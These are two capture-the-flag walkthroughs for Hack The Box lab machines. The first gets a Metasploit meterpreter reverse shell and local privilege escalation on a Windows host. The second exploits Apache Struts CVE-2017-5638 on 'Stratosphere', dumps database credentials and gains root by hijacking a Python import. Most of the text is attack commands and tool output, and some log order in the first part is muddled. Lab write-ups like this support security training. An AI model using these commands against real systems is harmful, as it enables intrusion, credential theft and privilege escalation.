msf > use multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.12
lhost => 10.10.14.12
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.14.12:4444 
[*] Sending stage (179779 bytes) to 10.10.10.14
[*] Meterpreter session 1 opened (10.10.14.12:4444 -> 10.10.10.14:1887) at 2019-01-17 14:44:00 +0100

meterpreter > shell
Process 3016 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service

Terrific!! I have got unauthorized access of victims command shell through session 1 as shown above

Then I run command getuid for identify user ID and current process but it failed due to limited shell access we have in session 1 and now we need to privilege escalation.

For that background your current meterpreter shell and go for post exploitation

Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for further exploit. The exploits are recommended founded on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter.

c:\windows\system32\inetsrv>^Z
Background channel 1? [y/N] y
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > 
meterpreter > CTRL-Z
Background session 1? [y/N] 
msf exploit(multi/handler) > use post/multi/recon/local_exploit_suggester 
msf post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf post(multi/recon/local_exploit_suggester) > run
*] 10.10.10.14 - Collecting local exploits for x86/windows...
[*] 10.10.10.14 - 28 exploit checks are being tried...
[+] 10.10.10.14 - exploit/windows/local/ms10_015_kitrap0d: The target service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ms16_016_webdav: The target service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated.
[+] 10.10.10.14 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.14 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[*] Post module execution completed


Start a second listener

msf > use multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.12
lhost => 10.10.14.12
msf exploit(multi/handler) > set lport 4455
lport => 4455

msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.12:4455

[*] Sending stage (179779 bytes) to 10.10.10.14
[*] Meterpreter session 1 opened (10.10.14.12:4455 -> 10.10.10.14:1896) at 2019-01-17 15:30:34 +0100

meterpreter > 
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

At this time use pprFlattenRec Local Privilege Escalation module for making unauthorized access again but as privileged user.

msf post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.12
lhost => 10.10.14.12
msf exploit(windows/local/ppr_flatten_rec) > set lport 4455
lport => 4455
msf exploit(windows/local/ppr_flatten_rec) > run
meterpreter > getuid
msf exploit(windows/local/ppr_flatten_rec) > run

[-] Handler failed to bind to 10.10.14.12:4455:- -
[-] Handler failed to bind to 0.0.0.0:4455:- -
[*] Launching notepad to host the exploit...
[+] Process 1776 launched.
[*] Reflectively injecting the exploit DLL into 1776...
[*] Injecting exploit into 1776 ...
[*] Exploit injected. Injecting payload into 1776...
[*] Payload injected. Executing exploit...
[*] Exploit thread executing (can take a while to run), waiting 30 sec 
[*] Sending stage (179779 bytes) to 10.10.10.14
[*] Meterpreter session 2 opened (10.10.14.12:4455 -> 10.10.10.14:1896) at 2019-01-17 15:30:34 +0100
...

Now let’s complete this task my searching user.txt and root.txt flag which is hidden somewhere inside a directory.

meterpreter > shell

Great!! We got our user flag

Inside c:\Document and Setting\Administrator \Desktop I found root.txt file and used type “file name” command for reading this file.

Great!! We got our root flag

Author: Puckiestyle

HTB – Stratosphere

Today we are going to solve another CTF challenge “Stratosphere” which is a lab presented by Hack the Box and is available online for those who want to increase their skills in penetration testing and black box testing. Stratosphere is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Easy

Task: find user.txt and root.txt file in victim’s machine.

WalkThrough

Since these labs are online available therefore they have static IP. The IP of Stratosphere is 10.10.10.64

Let’s start off with scanning the network to find our target.

root@kali:/opt/Struts-Apache-ExploitPack/Exploiter# nmap -sV 10.10.10.64
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 15:28 CET
Nmap scan report for 10.10.10.64
Host is up (0.026s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
80/tcp open http
8080/tcp open http-proxy
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.70%I=7%D=1/15%Time=5C3DEE2E%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,786,"HTTP/1\.1\x20200\x20\r\nAccept-Ranges:\x20bytes\r\nETag:\x2
--snip--
SF:-size:12px;}\x20a\x20{color:black;}\x20a\.name\x20{color:black;}\x20\.l
SF:ine\x20{height:1px;background-color:#525D76;border:none;}</style></head
SF:><body>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.90 seconds

As per nmap port 80 is open for HTTP let’s explore the target IP in the browser. After exploring port 80, we was welcomed by following page where we didn’t found any informative clue.

After then we visit Port 8080 for HTTP proxy and here also we get same web page. We try to inspect source code of port 80 and 8080 but we got nothings.

Therefore next we decided to have directory brute force attack with help of Dirbuster and used wordlist “dictionary-list-2.3-medium.txt” for the attack.

Luckily it fetched some web directories such as /Monitoring, let’s explore it in the web browser.

So when we try to open the URL http://10.10.10.64:8080/Monitoring then it gets redirect to http://10.10.10.64:8080/Monitoring/example/Welcome.action for login. I closely look at the URL containing .action extension, so I made Google search to extract complete information related to this extension. I found action extension is utilized by apache struts2 which has a history of bugs and vulnerabilities and if you will search for its exploit, you will get lot of python scripts and exploits to compromise this service.

c:\PENTEST\NMAP>nmap -p80 --script http-vuln-cve2017-5638 --script-args path=/Monitoring/example/Welcome.action 10.10.10.64
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 17:40 W. Europe Standard Time
Nmap scan report for 10.10.10.64
Host is up (0.021s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-vuln-cve2017-5638:
|   VULNERABLE:
|   Apache Struts Remote Code Execution Vulnerability
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-5638
|       Apache Struts 2.3.5 - Struts 2.3.31 and Apache Struts 2.5 - Struts 2.5.10 are vulnerable to a Remote Code Execution
|       vulnerability via the Content-Type header.
|
|     Disclosure date: 2017-03-07
|     References:
|       http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
|_      https://cwiki.apache.org/confluence/display/WW/S2-045

Nmap done: 1 IP address (1 host up) scanned in 11.06 seconds

So we used above nmap script to identify its state of vulnerability

https://github.com/mazen160/struts-pwn/blob/master/struts-pwn.py

c:\Python27>python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c "whoami"

[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: whoami
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely

tomcat8
[%} Done.

c:\Python27>

FwdSh3ll is a tiny open source web-payload oriented exploitation-framework for crafting forward shells.

What is a forward shell? Have you ever been caught in a situation when looking for an approach to a CTF box, you discover an RCE vulnerability in a web app but despite that you can’t get a reverse shell no matter how hard you try due to strictly filtered outbound traffic? A forward shell is a scheme of shell interaction with a vulnerable Linux machine based on the named pipesmechanism.

root@kali:/opt/FwdSh3ll# python3 FwdSh3ll.py

█████▒█ █░▓█████▄ ██████ ██░ ██ ▓█████ ██▓ ██▓ 
▓██ ▒▓█░ █ ░█░▒██▀ ██▌▒██ ▒ ▓██░ ██▒▓█ ▀ ▓██▒ ▓██▒ 
▒████ ░▒█░ █ ░█ ░██ █▌░ ▓██▄ ▒██▀▀██░▒███ ▒██░ ▒██░ 
░▓█▒ ░░█░ █ ░█ ░▓█▄ ▌ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ 
░▒█░ ░░██▒██▓ ░▒████▓ ▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒
▒ ░ ░ ▓░▒ ▒ ▒▒▓ ▒ ▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓ ░░ ▒░▓ ░
░ ▒ ░ ░ ░ ▒ ▒ ░ ░▒ ░ ░ ▒ ░▒░ ░ ░ ░ ░░ ░ ▒ ░░ ░ ▒ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░ 
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ 

{v0.2}
by Sam Freeside (@snovvcrash)
https://github.com/snovvcrash/FwdSh3ll

[*] Loaded 4 payload(s)

[>] Please enter target URL: http://10.10.10.64/Monitoring/example/Welcome.action
[>] Please enter proxies URL (optional):

[?] Which payload you would like to use?

1. ApacheStruts
2. NodejsExpress
3. ShellShock
4. WebShell

[>] Please enter the number of your choice: 1

[?] Would you like to run a single command or get a forward shell?

1. Single command
2. Forward shell

[>] Please enter the number of your choice: 2

############################## FORWARD SHELL MODE #############################

[*] Session path & ID: /dev/shm/fwdshin.45197
[*] Setting up forward shell on target
[*] Setting up read thread
[*] Press CTRL-C to terminate session

FwdSh3ll> whoami
tomcat8

FwdSh3ll> ls
conf
db_connect
lib
logs
policy
webapps
work

FwdSh3ll>

I also found an exploit Struts-Apache-ExploitPack , lets download it from git hub and give full permission.

root@kali:/opt# git clone https://github.com/drigg3r/Struts-Apache-ExploitPack.git
Cloning into 'Struts-Apache-ExploitPack'...
remote: Enumerating objects: 41, done.
remote: Total 41 (delta 0), reused 0 (delta 0), pack-reused 41
Unpacking objects: 100% (41/41), done.
root@kali:/opt# cd Struts-Apache-ExploitPack/Exploiter

root@kali:/opt/Struts-Apache-ExploitPack/Exploiter# chmod +x Exploit.sh


Now run the following command to exploit the victim machine.

root@kali:/opt/Struts-Apache-ExploitPack/Exploiter# ./Exploit.sh http://10.10.10.64:8080/Monitoring/example/Welcome.action
Enter Command to execute>ls
conf
db_connect
lib
logs
policy
webapps
work
Enter Command to execute>cat db_connect
[ssn]
user=ssn_admin
pass=AWs64@on*&

[users]
user=admin
pass=admin

So now we have database credential, let’s utilized them for getting all information from inside the database.

Enter Command to execute>mysqldump -u admin -p admin --all-databases --skip-lock-tables
-- MySQL dump 10.16 Distrib 10.1.26-MariaDB, for debian-linux-gnu (x86_64)
--
-- Host: localhost Database: 
-- ------------------------------------------------------
-- Server version 10.1.26-MariaDB-0+deb9u1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Current Database: `users`
--

CREATE DATABASE /*!32312 IF NOT EXISTS*/ `users` /*!40100 DEFAULT CHARACTER SET utf8mb4 */;

USE `users`;

--
-- Table structure for table `accounts`
--

DROP TABLE IF EXISTS `accounts`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `accounts` (
`fullName` varchar(45) DEFAULT NULL,
`password` varchar(30) DEFAULT NULL,
`username` varchar(20) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `accounts`
--

LOCK TABLES `accounts` WRITE;
/*!40000 ALTER TABLE `accounts` DISABLE KEYS */;
INSERT INTO `accounts` VALUES ('Richard F. Smith','9tc*rhKuG5TyXvUJOrE^5CK7k','richard');
/*!40000 ALTER TABLE `accounts` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2019-01-15 9:16:38
Enter Command to execute>
root@kali:/opt/Struts-Apache-ExploitPack/Exploiter# ssh richard@10.10.10.64
The authenticity of host '10.10.10.64 (10.10.10.64)' can't be established.
ECDSA key fingerprint is SHA256:tQZo8j1TeVASPxWyDgqJf8PaDZJV/+LeeBZnjueAW/E.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.64' (ECDSA) to the list of known hosts.
richard@10.10.10.64's password: 
Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 27 16:26:33 2018 from 10.10.14.2
richard@stratosphere:~$ ls
Desktop test.py user.txt
richard@stratosphere:~$ cat user.txt
e61*****36b

richard@stratosphere:~$ sudo -l

Matching Defaults entries for richard on stratosphere:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User richard may run the following commands on stratosphere:
(ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py
richard@stratosphere:~$ echo 'import os;os.system("/bin/bash")' > hashlib.py
richard@stratosphere:~$ sudo /usr/bin/python /home/richard/test.py
root@stratosphere:/home/richard# id
uid=0(root) gid=0(root) groups=0(root)
root@stratosphere:~/Desktop# cd /root
root@stratosphere:~# cat root.txt
d41*****27e
root@stratosphere:~#

Running sudo -l reveals that richard is able to run /usr/bin/python* /home/richard/test.py,
however richard does not have write permissions for the script.
Examining the script shows that hashlib is imported. By creating hashlib.py in the same directory,
python will import this module instead of the real hashlib and execute the contents. Therefore I create a hashlib.py script in the current directory to import system binary ‘/bin/bash’ and hence now when we will run test.py then it will import hashlib.py which will calls /bin/bash binary file.

Author: Jacco Straathof